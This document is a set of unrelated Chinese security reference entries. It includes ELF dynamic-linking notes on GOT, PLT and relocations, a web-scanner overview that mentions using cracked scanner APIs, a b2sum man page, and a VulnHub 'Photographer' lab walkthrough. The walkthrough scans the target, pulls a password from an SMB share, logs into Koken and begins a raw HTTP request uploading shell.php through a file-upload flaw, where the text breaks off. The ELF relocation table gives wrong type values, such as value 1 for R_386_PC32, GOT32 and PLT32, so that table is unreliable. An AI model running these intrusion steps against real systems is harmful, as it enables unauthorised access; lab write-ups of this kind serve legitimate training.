| DT_RELA | 7 | d_ptr | 必需 | 可选 | 此类型表项包含重定位表的地址。此表中的元素包含显式的补齐,例如 32 位文件中的 Elf32_Rela。目标文件可能有多个重定位节区。在为可执行文件或者共享目标文件创建重定位表时,链接编辑器将这些节区连接起来,形成一个表。尽管在目标文件中这些节区相互独立,但是动态链接器把它们视为一个表。在动态链接器为可执行文件创建进程映像或者向一个进程映像中添加某个共享目标时,要读取重定位表并执行相关的动作。如果此元素存在,动态结构体中也必须包含 DT_RELASZ 和 DT_RELAENT 元素。如果对于某个文件来说,重定位是必需的话,那么 DT_RELA 或者 DT_REL 都可能存在。 |
| DT_RELASZ | 8 | d_val | 必需 | 可选 | 此类型表项包含 DT_RELA 重定位表的总字节大小。 |
| DT_RELAENT | 9 | d_val | 必需 | 可选 | 此类型表项包含 DT_RELA 重定位项的字节大小。 |
| DT_STRSZ | 10 | d_val | 必需 | 必需 | 此类型表项给出字符串表的字节大小,按字节数计算。 |
| DT_SYMENT | 11 | d_val | 必需 | 必需 | 此类型表项给出符号表项的字节大小。 |
| DT_INIT | 12 | d_ptr | 可选 | 可选 | 此类型表项给出初始化函数的地址。 |
| DT_FINI | 13 | d_ptr | 可选 | 可选 | 此类型表项给出结束函数(Termination Function)的地址。 |
| DT_SONAME | 14 | d_val | 忽略 | 可选 | 此类型表项给出一个以 NULL 结尾的字符串的字符串表偏移,对应的字符串是某个共享目标的名称。该偏移实际上是 DT_STRTAB 中的索引。 |
| DT_RPATH | 15 | d_val | 可选 | 忽略 | 此类型表项包含以 NULL 结尾的字符串的字符串表偏移,对应的字符串是搜索库时使用的搜索路径。该偏移实际上是 DT_STRTAB 中的索引。 |
| DT_SYMBOLIC | 16 | 忽略 | 忽略 | 可选 | 如果这种类型表项出现在共享目标库中,那么这将会改变动态链接器的符号解析算法。动态连接器将首先选择从共享目标文件本身开始搜索符号,只有在搜索失败时,才会选择从可执行文件中搜索相应的符号。 |
| DT_REL | 17 | d_ptr | 必需 | 可选 | 此类型表项与 DT_RELA类型的表项类似,只是其表格中包含隐式的补齐,对 32 位文件而言,就是 Elf32_Rel。如果ELF文件中包含此元素,那么动态结构中也必须包含 DT_RELSZ 和 DT_RELENT 类型的元素。 |
| DT_RELSZ | 18 | d_val | 必需 | 可选 | 此类型表项包含 DT_REL 重定位表的总字节大小。 |
| DT_RELENT | 19 | d_val | 必需 | 可选 | 此类型表项包含 DT_REL 重定位项的字节大小。 |
| DT_PLTREL | 20 | d_val | 可选 | 可选 | 此类型表项给出过程链接表所引用的重定位项的地址。根据具体情况, d_val 对应的地址可能包含 DT_REL 或者 DT_RELA。过程链接表中的所有重定位都必须采用相同的重定位方式。 |
| DT_DEBUG | 21 | d_ptr | 可选 | 忽略 | 此类型表项用于调试。ABI 未规定其内容,访问这些条目的程序可能与 ABI 不兼容。 |
| DT_TEXTREL | 22 | 忽略 | 可选 | 可选 | 如果文件中不包含此类型的表项,则表示没有任何重定位表项能够造成对不可写段的修改。如果存在的话,则可能存在若干重定位项请求对不可写段进行修改,因此,动态链接器可以做相应的准备。 |
| DT_JMPREL | 23 | d_ptr | 可选 | 可选 | 该类型的条目的 d_ptr 成员包含了过程链接表的地址,并且索引时应该会把该地址强制转换为对应的重定位表项类型的指针。把重定位表项分开有利于让动态链接器在进程初始化时忽略它们(开启了延迟绑定)。如果存在此成员,相关的 DT_PLTRELSZ 和 DT_PLTREL 必须也存在。 |
| DT_BIND_NOW | 24 | 忽略 | 可选 | 可选 | 如果可执行文件或者共享目标文件中存在此类型的表项的话,动态链接器在将控制权转交给程序前,应该将该文件的所有需要重定位的地址都进行重定位。这个表项的优先权高于延迟绑定,可以通过环境变量或者dlopen(BA_LIB)来设置。 |
| DT_LOPROC ~DT_HIPROC | 0x70000000 ~0x7fffffff | 未指定 | 未指定 | 未指定 | 这个范围的表项是保留给处理器特定的语义的。 |
没有出现在此表中的标记值是保留的。此外,除了数组末尾的 DT_NULL 元素以及 DT_NEEDED 元素的相对顺序约束以外, 其他表项可以以任意顺序出现。
### Dynamic Sections Global Offset Table
GOT 表在 ELF 文件中分为两个部分
- .got,存储导入变量的地址。
- .got.plt,存储导入函数的地址。
通常来说,地址独立代码不能包含绝对虚拟地址。GOT 表中包含了隐藏的绝对地址,这使得在不违背位置无关性以及程序代码段共享的情况下,得到相关符号的绝对地址。一个程序可以使用位置独立代码来引用它的 GOT 表,然后提取出来绝对的数值,以便于将位置独立的引用重定向到绝对的地址。
初始时,got 表中包含重定向所需要的信息。当一个系统为可加载的目标文件创建内存段时,动态链接器会处理重定位项,其中的一些项的类型可能是 R_386_GLOB_DAT,这会指向 got 表。动态链接器会决定相关符号的值,计算它们的绝对地址,然后将合适的内存表项设置为相应的值。尽管在链接器建立目标文件时,绝对地址还处于未知状态,动态链接器知道所有内存段的地址,因为可以计算所包含的符号的绝对地址。
如果一个程序需要直接访问一个符号的绝对地址,那么这个符号将会有一个 got 表项。由于可执行文件以及共享目标文件都有单独的表项,所以一个符号的地址可能会出现在多个表中。动态链接器在把权限给到进程镜像中的代码段前,会处理所有的 got 表中的重定位项,以便于确保所有的绝对地址在执行过程中是可以访问的。
GOT 表中的第 0 项包含动态结构(_DYNAMIC)的地址。这使得一个程序,例如动态链接器,在没有执行其重定向前可以找到对应的动态节。这对于动态链接器来说是非常重要的,因为它必须在不依赖其它程序的情况下可以重定位自己的内存镜像。
在不同的程序中,系统可能会为同一共享目标文件选择不同的内存段地址;甚至对于同一个程序,在不同的执行过程中,也会有不同的库地址。然而,一旦进程镜像被建立,内存段的地址就不会再改变,只要一个进程还存在,它的内存段地址将处于固定的位置。
GOT 表的形式以及解释依赖于具体的处理器,对于 Intel 架构来说,`_GLOBAL_OFFSET_TABLE_` 符号可能被用来访问这个表。
```
extern Elf32_Addr _GLOBAL_OFFSET_TABLE[];
```
`_GLOBAL_OFFSET_TABLE_`可能会在 .got 节的中间,以便于可以使用正负索引来访问这个表。
在 Linux 的实现中,.got.plt 的前三项的具体的含义如下
- GOT[0],.dynamic 的地址。
- GOT[1],指向 link_map 的指针,只会在动态装载器中使用,包含了进行符号解析需要的当前 ELF 对象的信息。每个 link_map 都是一条双向链表的一个节点,而这个链表保存了所有加载的 ELF 对象的信息。
- GOT[2],指向动态装载器中 _dl_runtime_resolve 函数的指针。
.got.plt 后面的项则是程序中不同 .so 中函数的引用地址。
### Procedure Linkage Table
PLT 表将导入函数重定向到绝对地址。主要包括两部分
- **.plt**,与常见导入的函数有关,如 read 等函数。
- **.plt.got**,与动态链接有关系。
准确的说,plt 表不是查询表,而是一块代码。这一块内容是与代码相关的。
在动态链接下,程序模块之间包含了大量的函数引用。如果在程序开始执行前就把所有的函数地址都解析好,动态链接就会耗费不少时间用于解决模块之间的函数引用的符号查找以及重定位。但是,在一个程序运行过程中,可能很多函数在程序执行完时都不会用到,因此一开始就把所有函数都链接好可能会浪费大量资源,所以 ELF 采用了一种延迟绑定的做法,其基本思想是函数第一次被用到时才进行绑定(符号查找,重定位等),如果没有用则不进行绑定。所以程序开始执行前,模块间的函数调用都没有进行绑定,而是需要用到时才由动态链接器负责绑定。
LD_BIND_NOW 环境变量可以改变动态链接器的行为。如果它的值非空的话,动态链接器在将控制权交给程序之前会执行 PLT 表项。也就是说,动态链接器在进程初始化过程中执行类型为 R\_3862\_JMP_SLOT 的重定位表项。否则的话,动态链接表会对过程链接表项进行延迟绑定,直到第一次执行对应的表项时,才会今次那个符号解析以及重定位。
注意
> 惰性绑定通常来说会提高应用程序的性能,因为没有使用的符号并不会增加动态链接的负载。然而,有以下两种情况将会使得惰性绑定出现未预期的情况。首先,对于一个共享目标文件的函数的初始引用一般来说会超过后续调用的时间,因为动态链接器需要拦截调用以便于去解析符号。一些应用并不能够忍受这种不可预测性。其次,如果发生了错误,并且动态链接器不能够解析符号。动态链接器将会终止程序。在惰性绑定的情况下,这种情况可能随时发生。当关闭了惰性绑定的话,动态链接器在进程初始化的过程中就不会出现相应的错误,因为这些都是在应用获得控制权之前执行的。
链接编辑器不能够解析执行流转换(比如函数调用),即从一个可执行文件或者共享目标文件到另一个文件。链接器安排程序将控制权交给过程链接表中的表项。在 Intel 架构中,过程链接表存在于共享代码段中,但是他们会使用在 GOT 表中的数据。动态链接器会决定目标的绝对地址,并且会修改相应的 GOT 表中的内存镜像。因此,动态链接器可以在不违背位置独立以及程序代码段兼容的情况下,重定向 PLT 项。可执行文件和共享目标文件都有独立的 PLT 表。
绝对地址的过程链接表如下
```assembly
.PLT0: pushl got_plus_4
jmp *got_plus_8
nop; nop
nop; nop
.PLT1: jmp *name1_in_GOT
pushl $offset@PC
jmp .PLT0@PC
.PLT2: jmp *name2_in_GOT
push $offset
jmp .PLT0@PC
...
```
位置无关的过程链接表的地址如下
```assembly
.PLT0: pushl 4(%ebx)
jmp *8(%ebx)
nop; nop
nop; nop
.PLT1: jmp *name1_in_GOT(%ebx)
pushl $offset
jmp .PLT0@PC
.PLT2: jmp *name2_in_GOT(%ebx)
push $offset
jmp .PLT0@PC
...
```
可以看出过程链接表针对于绝对地址以及位置独立的代码的处理不同。但是动态链接器处理它们时,所使用的接口是一样的。
动态链接器和程序按照如下方式解析过程链接表和全局偏移表的符号引用。
1. 当第一次建立程序的内存镜像时,动态链接器将 GOT 表的第二个和第三个项设置为特殊的值,下面的步骤会仔细解释这些数值。
2. 如果过程链接表是位置独立的话,那么 GOT 表的地址必须在 ebx 寄存器中。每一个进程镜像中的共享目标文件都有独立的 PLT 表,并且程序只在同一个目标文件将控制流交给 PLT 表项。因此,调用函数负责在调用 PLT表项之前,将全局偏移表的基地址设置为寄存器中。
3. 这里举个例子,假设程序调用了name1,它将控制权交给了 lable .PLT1。
4. 那么,第一条指令将会跳转到全局偏移表中 name1 的地址。初始时,全局偏移表中包含 PLT 中下一条 pushl 指令的地址,并不是 name1 的实际地址。
5. 因此,程序将相应函数在 `rel.plt` 中的偏移(重定位偏移,reloc_index)压到栈上。重定位偏移是 32 位的,并且是非负的数值。此外,重定位表项的类型为 R\_386\_JMP_SLOT,并且它将会说明在之前 jmp 指令中使用的全局偏移表项在 GOT 表中的偏移。重定位表项也包含了一个符号表索引,因此告诉动态链接器什么符号目前正在被引用。在这个例子中,就是 name1了。
6. 在压入重定位偏移后,程序会跳转到 .PLT0,这是过程链接表的第一个表项。pushl 指令将 GOT 表的第二个表项(got_plus_4 或者4(%ebx),**当前ELF对象的信息**)压到栈上,然后给动态链接器一个识别信息。此后,程序会跳转到第三个全局偏移表项(got_plus\_8 或者8(%ebx),**指向动态装载器中 `_dl_runtime_resolve` 函数的指针**) 处,这将会将程序流交给动态链接器。
7. 当动态链接器接收到控制权后,他将会进行出栈操作,查看重定位表项,解析出对应的符号的值,然后将 name1 的地址写入到全局偏移表项中,最后将控制权交给目的地址。
8. 过程链接表执行之后,程序的控制权将会直接交给 name1 函数,而且此后再也不会调用动态链接器来解析这个函数。也就是说,在 .PLT1 处的 jmp 指令将会直接跳转到 name1 处,而不是再次执行 pushl 指令。
### .rel(a).dyn & .rel(a).plt介绍
.rel.dyn 包含了动态链接的二进制文件中需要重定位的变量的信息,而 .rel.plt 包含了需要重定位的函数的信息。这两类重定位节都使用如下的结构(以 32 位为例)
```
typedef struct {
Elf32_Addr r_offset;
Elf32_Word r_info;
} Elf32_Rel;
typedef struct {
Elf32_Addr r_offset;
Elf32_Word r_info;
Elf32_Sword r_addend;
} Elf32_Rela;
```
Elf32_Rela 类型的表项包含明确的补齐信息。 Elf32_Rel 类型的表项在将被修改的位置保存隐式的补齐信息。由于处理器体系结构的原因,这两种形式都存在,甚至是必需的。因此,对特定机器的实现可以仅使用一种形式,也可以根据上下文使用两种形式。
其中,每个字段的说明如下
| 成员 | 说明 |
| -------- | ------------------------------------------------------------ |
| r_offset | **此成员给出了需要重定位的位置。**对于一个可重定位文件而言,此值是从需要重定位的符号所在节区头部开始到将被重定位的位置之间的字节偏移。对于可执行文件或者共享目标文件而言,其取值是需要重定位的**虚拟地址**,一般而言,也就是说我们所说的 GOT 表的地址。 |
| r_info | **此成员给出需要重定位的符号的符号表索引,以及相应的重定位类型。** 例如一个调用指令的重定位项将包含被调用函数的符号表索引。如果索引是 STN_UNDEF,那么重定位使用 0 作为“符号值”。此外,重定位类型是和处理器相关的。 |
| r_addend | 此成员给出一个常量补齐,用来计算将被填充到可重定位字段的数值。 |
关于 r_info 更加具体的字段信息如下面的代码所示
- r_info 的高三个字节对应的值表示这个动态符号在 `.dynsym` 符号表中的位置
- r_info 的最低字节表示的是重定位类型类型
```c
#define ELF32_R_SYM(i) ((i)>>8)
#define ELF32_R_TYPE(i) ((unsigned char)(i))
// 用于构造 r_info
#define ELF32_R_INFO(s,t) (((s)<<8)+(unsigned char)(t))
```
重定位节区会引用两个其它节区:**符号表、要修改的节区**。节区头部的 sh_info 和 sh_link 成员给出相应的关系。
这里,我们具体讨论可能的重定位类型。在下面的计算中,我们假设是把一个可重定位文件转换为可执行文件或者共享目标文件。从概念上讲,链接器会把一个或者多个可重定位文件合并起来得到输出文件。它首先要决定如何结合并放置这些输入文件,然后更新符号表的值,最后才进行重定位。可执行文件或者共享目标文件的重定位方法是相似的,并且结果几乎一样。在后面的描述中我们将会采用如下记号。
- A(addend) 用来计算可重定位字段的取值的补齐。
- B(base) 表示共享目标文件在执行过程中被加载到内存中的基地址。一般来说,共享目标文件的虚拟基地址为 0,但是在执行时,其地址却会发生改变。
- G(Global) 表示在执行时重定位项的符号在全局偏移表中的偏移。
- GOT (global offset table) 表示全局偏移表(GOT)的地址。
- L (linkage) 表示过程链接表项中一个符号的节区偏移或者地址。过程链接表项会把函数调用重定位到正确的目标位置。链接编辑器会构造初始的过程链接表,然后动态链接器在执行过程中会修改这些项目。
- P (place) 表示被重定位(用 r_offset 计算)的存储单元的位置(节区偏移或者地址)。
- S (symbol) 表示索引位于重定位项中的符号的取值。
重定位项的 r_offset 取值为受影响的存储单元的第一个字节的偏移或者虚拟地址。重定位类型给出需要修改的比特位以及如何计算它们的值。其中,Intel 架构只使用 ELF32_REL 重定位表项,将要被重定位的成员保留对应的补齐数值。在所有的情况下,补齐的数值与计算的结果使用相同的字节序。
重定位类型以及部分含义如下
| 名称 | 值 | 域 | 计算 | 含义 |
| -------------- | ---- | ------ | ----------- | ------------------------------------------------------------ |
| R_386_NONE | 0 | 无 | 无 | |
| R_386_32 | 1 | word32 | S + A | |
| R_386_PC32 | 1 | word32 | S + A - P | |
| R_386_GOT32 | 1 | word32 | G + A - P | 该重定位类型计算从全局偏移表基址到符号的全局偏移表项的距离。另外,它还命令链接器创建一个全局偏移表。 |
| R_386_PLT32 | 1 | word32 | L + A - P | 该重定位类型计算符号的过程链接表项地址。另外,它还命令链接器创建一个过程链接表。 |
| R_386_COPY | 5 | 无 | 无 | 该重定位类型由链接器为动态链接过程创建。它的偏移项指向可写段中的位置。符号表规定这种符号应既存在于当前目标文件又该存在于共享目标文件中。在执行过程中,动态链接器将与该共享目标符号相关的数据复制到由上述偏移量指定的位置。 |
| R_386_GLOB_DAT | 6 | word32 | S | 该重定位类型用于把一个全局偏移表中的符号设置为指定符号的地址。这个特殊的重定位类型允许确定符号和全局偏移表项之间的关系。 |
| R_386_JMP_SLOT | 7 | word32 | S | 该重定位类型由链接器为动态链接过程创建。它的偏移项给出了相应过程链接表项的位置。动态链接器修改过程链接表,从而把程序控制权转移到上述指出的符号地址。 |
| R_386_RELATIVE | 8 | word32 | B + A | 该重定位类型由链接器为动态链接过程创建。它的偏移项给出了共享目标中的一个包含了某个代表相对地址的值的位置。动态链接器通过把共享目标文件装载到的虚拟地址与上述相对地址相加来计算对应虚拟地址。这种类型的重定位项设置符号表索引为0。 |
| R_386_GOTOFF | 9 | word32 | S + A - GOT | 该重定位类型计算符号值与全局偏移表地址之间的差。此外,它还通知链接器创建一个全局偏移表。 |
| R_386_GOTPC | 10 | word32 | S + A - P | 该重定位类型与`R_386_PC32` 类似,只不过它在计算时使用全局偏移表的地址。正常情况下,该重定位表项中被引用的符号是`_GLOBAL_OFFSET_TABLE_` ,它会命令链接器创建一个全局偏移表。 |
### .dynsym介绍
动态链接的 ELF 文件具有专门的动态符号表,其使用的结构也是 Elf32_Sym,但是其存储的节为 .dynsym。这里再次给出 Elf32_Sym 的结构
```c
typedef struct
{
Elf32_Word st_name; /* Symbol name (string tbl index) */
Elf32_Addr st_value; /* Symbol value */
Elf32_Word st_size; /* Symbol size */
unsigned char st_info; /* Symbol type and binding */
unsigned char st_other; /* Symbol visibility under glibc>=2.2 */
Elf32_Section st_shndx; /* Section index */
} Elf32_Sym;
```
需要注意的是 `.dynsym` 是运行时所需的,ELF 文件中 export/import 的符号信息全在这里。但是,`.symtab` 节中存储的信息是编译时的符号信息,它们在 `strip` 之后会被删除掉。
我们主要关注动态符号中的两个成员
- st_name,该成员保存着动态符号在 .dynstr 表(动态字符串表)中的偏移。
- st_value,如果这个符号被导出,这个符号保存着对应的虚拟地址。
动态符号与指向它的 Elf_Verdef 之间的关联性保存在 `.gnu.version` 节中。这个节是由 Elf_Verneed 结构体构成的数组。其中,每个表项对应动态符号表的一项。其实,这个结构体就只有一个域:那就是一个 16 位的整数,表示在 `.gnu.verion_r` 段中的下标。
除此之外,动态链接器使用 Elf_Rel 结构体成员 r_info 中的下标同时作为 .dynsym 段和 .gnu.version 段的下标。这样就可以一一对应到每一个符号到底是那个版本的了。
### Misc version releated sections
ELF 文件不仅可以导入外部的符号,而且还可以导入指定版本的符号。例如,当我们可以从 GLIBC_2.2.5 中导入其中的一些标准库函数,比如 printf。其中,.gnu.version_r 保存了版本的定义,对应的结构体是 Elf_Verdef。
#### .gnu.version
该节与 .dynsym 中的符号信息一一对应,即两者的元素个数一样。.gnu.version 中每一个元素的类型是 `Elfxx_Half`,指定了对应符号的版本信息。`Elfxx_Half` 中有两个值是保留的
- 0,表示这个符号是本地的,对外不公开。下面的`__gmon_start__` 就是一个本地符号。
- 1,表示这个符号在当前这个目标文件中定义,并且是全局可以访问的。下面的 `_IO_stdin_used` 就是一个全局符号。
```assembly
LOAD:080482D8 ; ELF GNU Symbol Version Table
LOAD:080482D8 dw 0
LOAD:080482DA dw 2 ; setbuf@@GLIBC_2.0
LOAD:080482DC dw 2 ; read@@GLIBC_2.0
LOAD:080482DE dw 0 ; local symbol: __gmon_start__
LOAD:080482E0 dw 2 ; strlen@@GLIBC_2.0
LOAD:080482E2 dw 2 ; __libc_start_main@@GLIBC_2.0
LOAD:080482E4 dw 2 ; write@@GLIBC_2.0
LOAD:080482E6 dw 2 ; stdin@@GLIBC_2.0
LOAD:080482E8 dw 2 ; stdout@@GLIBC_2.0
LOAD:080482EA dw 1 ; global symbol: _IO_stdin_used
...
.rodata:0804866C public _IO_stdin_used
.rodata:0804866C _IO_stdin_used db 1 ; DATA XREF: LOAD:0804825C↑o
.rodata:0804866D db 0
.rodata:0804866E db 2
.rodata:0804866F db 0
.rodata:0804866F _rodata ends
```
#### .gnu.version_d
Version definitions of symbols.
#### .gnu.version_r
Version references (version needs) of symbols.
|
sec-knowleage
|
# Web安全扫描概述
安全扫描:针对Web应用脆弱性识别的一种行为。
## 为什么需要做Web安全扫描?
* 手工安全测试所需时间周期较长,不能满足快速交付的需求;
* 弥补安全测试人员知识技能层面不足;
* 避免安全测试过程中的由于测试人员惰性造成的遗漏;
## 目前Web扫描器能做到什么?
* 基于OWASP Top 10的常规漏洞检测;
* 基于特定的漏洞检测,如:struts2
## 目前Web扫描器的缺点是什么?
* 误报严重,也存在一定程度的漏报,主要是由于扫描规则导致;
* 不能完美支持业务逻辑漏洞的探测;
* 对系统造成脏数据、服务不可用等安全风险;
## 如何改进Web扫描器的缺点?
* 针对扫描规则:完善常规漏洞检测规则+业务逻辑漏洞模式(这是一个体力活);
* 针对扫描误报率:发现漏洞进行二次验证,如:awvs+sqlmap验证sql注入漏洞;
* 针对造成脏数据:使用扫描器时,过滤POST提交参数请求;
* 针对造成服务不可用:合理选择扫描策略,避开业务高峰期扫描;
## Web扫描器的分类
### 根据扫描行为分类
* 主动扫描:通过爬虫获取URL信息;
* 半被动扫描:通过日志获取URL信息;通过流量获取URL信息;通过代理获取URL信息;
* 全被动扫描:
### 根据扫描方式分类
* 自动扫描:定期执行扫描可以选择全量策略,扫描时间较长需要避开业务高峰期;
* 手动扫描:手工执行扫描,选择针对性的扫描策略;
## 企业是否需要自研Web扫描器?
综合答案是:不要
### 为什么很多企业觉得需要自研
商用扫描器都是通用型的,不同企业在部署方式、后续服务等方面存在兼容性问题。
### 为什么不要轻易自研Web扫描器
Web扫描器自研成本太大,难点更多在于:规则的维护等。
### 利用免费或破解的扫描器API
为了解决企业系统多业务繁杂的Web扫描,更多我们利用API做成分布式队列的形式来做成一个扫描器。
## 参考资料
[中通分布式被动安全扫描实践](https://mp.weixin.qq.com/s/n9N6Nkg_RYEvPM2WnlG45w)
|
sec-knowleage
|
.\" DO NOT MODIFY THIS FILE! It was generated by help2man 1.48.5.
.\"*******************************************************************
.\"
.\" This file was generated with po4a. Translate the source file.
.\"
.\"*******************************************************************
.TH B2SUM 1 2022年9月 "GNU coreutils 9.1" 用户命令
.SH 名称
b2sum \- 计算并校验 BLAKE2 信息摘要
.SH 概述
\fBb2sum\fP [\fI\,选项\/\fP]... [\fI\,文件列表\/\fP]...
.SH 描述
.\" Add any additional description here
.PP
输出或检查 BLAKE2b(512位)校验和。
.PP
如果没有指定文件,或者指定文件为“\-”,则从标准输入读取。
.PP
必选参数对长短选项同时适用。
.TP
\fB\-b\fP, \fB\-\-binary\fP
以二进制模式读入
.TP
\fB\-c\fP, \fB\-\-check\fP
从指定文件中读取校验和并进行检验
.TP
\fB\-l\fP, \fB\-\-length\fP=\fI\,位数\/\fP
按照比特位进行摘要提取;输入不可超出 blake2 算法的最大值限制,且必须为 8 的整数倍
.TP
\fB\-\-tag\fP
创建一个 BSD 风格的校验和
.TP
\fB\-t\fP, \fB\-\-text\fP
以文本模式读入(默认)
.TP
\fB\-z\fP, \fB\-\-zero\fP
以 NUL 字符而非换行符来结束每一个输出行
.SS 下面五个选项仅在验证校验和时有用:
.TP
\fB\-\-ignore\-missing\fP
遇到缺失的文件时不报告错误,保持静默
.TP
\fB\-\-quiet\fP
不要为每个成功验证的文件显示成功信息
.TP
\fB\-\-status\fP
不要输出任何信息,由返回值判断成功与否
.TP
\fB\-\-strict\fP
为没有正确格式化的校验和文字行给出非零返回值
.TP
\fB\-w\fP, \fB\-\-warn\fP
为没有正确格式化的校验和文字行给出警告信息
.TP
\fB\-\-help\fP
显示此帮助信息并退出
.TP
\fB\-\-version\fP
显示版本信息并退出
.PP
校验和按照 RFC 7693
描述的方式进行计算。在校验过程中,其输入内容应当为该程序先前的输出内容。默认模式是输出一行文字,包含:校验和、一个指示输入模式的字符('*'
指示二进制输入,' ' 指示二进制特性不明显的文本输入)以及每个文件的名称。
.PP
注意:GNU 系统上二进制模式和文本模式没有区别。
.SH 作者
由 Padraig Brady 和 Samuel Neves 编写。
.SH 报告错误
GNU coreutils 的在线帮助: <https://www.gnu.org/software/coreutils/>
.br
请向 <https://translationproject.org/team/zh_CN.html> 报告翻译错误。
.SH 版权
Copyright \(co 2022 Free Software Foundation, Inc. License GPLv3+: GNU GPL
version 3 or later <https://gnu.org/licenses/gpl.html>.
.br
This is free software: you are free to change and redistribute it. There is
NO WARRANTY, to the extent permitted by law.
.SH 参见
\fBcksum\fP(1)
.PP
.br
完整文档请见: <https://www.gnu.org/software/coreutils/b2sum>
.br
或者在本地使用: info \(aq(coreutils) b2sum invocation\(aq
|
sec-knowleage
|
# Photographer 1
> https://download.vulnhub.com/photographer/Photographer.ova
靶场IP:`192.168.32.220`
扫描对外端口服务
```
┌──(root💀kali)-[/tmp]
└─# nmap -p 1-65535 -sV 192.168.32.220
Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-10 09:25 EDT
Nmap scan report for 192.168.32.220
Host is up (0.00084s latency).
Not shown: 65531 closed tcp ports (reset)
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
8000/tcp open http Apache httpd 2.4.18
MAC Address: 00:0C:29:6D:C7:60 (VMware)
Service Info: Hosts: PHOTOGRAPHER, example.com
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 50.65 seconds
```
访问80端口

访问8000端口

查看共享目录
```
┌──(root💀kali)-[/tmp]
└─# smbclient -L //192.168.32.220
Password for [WODGROUP\root]:
Sharename Type Comment
--------- ---- -------
print$ Disk Printer Drivers
sambashare Disk Samba on Ubuntu
IPC$ IPC IPC Service (photographer server (Samba, Ubuntu))
SMB1 disabled -- no workgroup available
```
```
┌──(root💀kali)-[/tmp]
└─# smbclient //192.168.32.220/sambashare
Password for [WODGROUP\root]:
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Mon Jul 20 21:30:07 2020
.. D 0 Tue Jul 21 05:44:25 2020
mailsent.txt N 503 Mon Jul 20 21:29:40 2020
wordpress.bkp.zip N 13930308 Mon Jul 20 21:22:23 2020
278627392 blocks of size 1024. 264268400 blocks available
smb: \> get mailsent.txt
getting file \mailsent.txt of size 503 as mailsent.txt (81.9 KiloBytes/sec) (average 81.9 KiloBytes/sec)
smb: \> get wordpress.bkp.zip
getting file \wordpress.bkp.zip of size 13930308 as wordpress.bkp.zip (77294.4 KiloBytes/sec) (average 74748.9 KiloBytes/sec)
```
查看文件和压缩包
```
┌──(root💀kali)-[/tmp]
└─# cat mailsent.txt
Message-ID: <4129F3CA.2020509@dc.edu>
Date: Mon, 20 Jul 2020 11:40:36 -0400
From: Agi Clarence <agi@photographer.com>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.0.1) Gecko/20020823 Netscape/7.0
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Daisa Ahomi <daisa@photographer.com>
Subject: To Do - Daisa Website's
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Hi Daisa!
Your site is ready now.
Don't forget your secret, my babygirl ;)
```

使用发现的邮件发送文件 ( daisa@photographer.com )中的电子邮件地址以及可能的密码 (babygirl),我能够登录到 Koken 管理面板!

我找到了一个上传图片的地方,以及一个可能的[任意文件上传漏洞](https://www.exploit-db.com/exploits/48706)。
```
POST /api.php?/content HTTP/1.1
Host: 192.168.32.220:8000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
x-koken-auth: cookie
Content-Type: multipart/form-data; boundary=---------------------------34894293281905435762178263200
Content-Length: 1082
Origin: http://192.168.32.220:8000
Connection: close
Referer: http://192.168.32.220:8000/admin/
Cookie: koken_referrer=; koken_session_ci=UIqUcU2xN1NuOIh%2FLOItrSghTcuoFDpsLgI%2BfWXZ8APyVYXX3I6ZO8B%2BvlirgPFlL3YXmERLfbgC20t86lLXjZ87QLUbuzcSPc42HY2bw%2B3U94z5V8VuuY3Y15WOnrnpInL5Tvrge11uY3LGy7oAJfQr8b0qJFNVN49cUibuaV1iIus2vBBcEmUM5StwhgN5turgSr6OSvYVzPG0rXf7sUa2zdM9jnD1fVOSECEjyRmQYXWpvA1gs2XE61c7J8ATR5nNZVZ%2FBsU51eVYPpQWKN8%2FbeSDY6knIzAVUv3eQ62ltlfW6i6xhjb737GKu2IDErhPC2BBUbN3oPwweirprpB5UEnISRszBziRgOgx3F5QW24quEWNDgvMOhM%2FdkiQXWNpksdCu3BZVjYVJww5ZHhnO907g%2B69Pxi7zjM0%2BUnCzVnFtJsfi%2BqtlHNe8UK%2Bbq7aSjOVCkswvMzpxtGLj1a%2BzPn2EdO8WgMNtHkQ9G9s05zrnwbH0lYoasvlyLw%2FjSwPH8vhsSS7JaKyK9qrOkSoJelXq8fE9Mjc2QYD3nY6u203Mc7Sm4ejOIQNMJMLCibx8JjMX4mFQLUm%2FeF%2BSP9%2F2yCm8nRAe8BzlQdpkN9mRuOqeDZUFshEzYF27xTGH4yZ5VKGBzKPBnzvxN5UUxPFMe2dzHOxIkHOk39M8iz1Y5sRJk%2FST7dk%2FulgIKpwxjD5QdluDzrakvp%2F35Wj9uGEa0q5pGUb1FvxA4yCAfM9T31aA%2B%2ByYeaoUdLPtR1OYHXjopoNX0B8rYFBwLIEBRZPAfFSjh2FkqKnz7OiKCxry5YYLQUnt6QUtuK4ihdY%2BF7qCTNfH7ny0JEaApxHz7vLXyYPGwIk%2FeD233bskPIgNJ2sTs1ovd9rnw%2B8aO7ol4Dcmje57W7JPLyrNCT%2Bep7Bp8U%2B07LpKo9Uhl5ry8s%2F1ZbBK21YVpZvSO7qPNWGoNaFumgbYzNG4y%2BBr%2Fq9lyfrSRoTKGj2VQhQfdKZfDjxq4VOGe4tTk1%2FyebO3E9m9jWZGnEjUUnamAv7N9L%2FWY81uHQE5qQ2ozO0AHFF3X1FGEMTelzFxq8d6CmTcQ4moNObZYJjIzMlJ8lSjPHJnzeP9sXVAuYnujVNBPD9br2LbtTIWzRcmClX5dQCTQKOIDrnC4wvLwKxhJdozdk6wNVXOQH%2F5YIun20WmWNJVO%2BDB5yNenqTjycpkIPdDjn7QgziPxQgfPAMu2JXNa0Q4j6C3nHRPVv0bWN5a7s3m3iCHD2%2F15%2BwL0bqZdDeeKnL9ead5a28d305522e0449dc133bccf5edd2ba7c8c
-----------------------------34894293281905435762178263200
Content-Disposition: form-data; name="name"
shell.php
-----------------------------34894293281905435762178263200
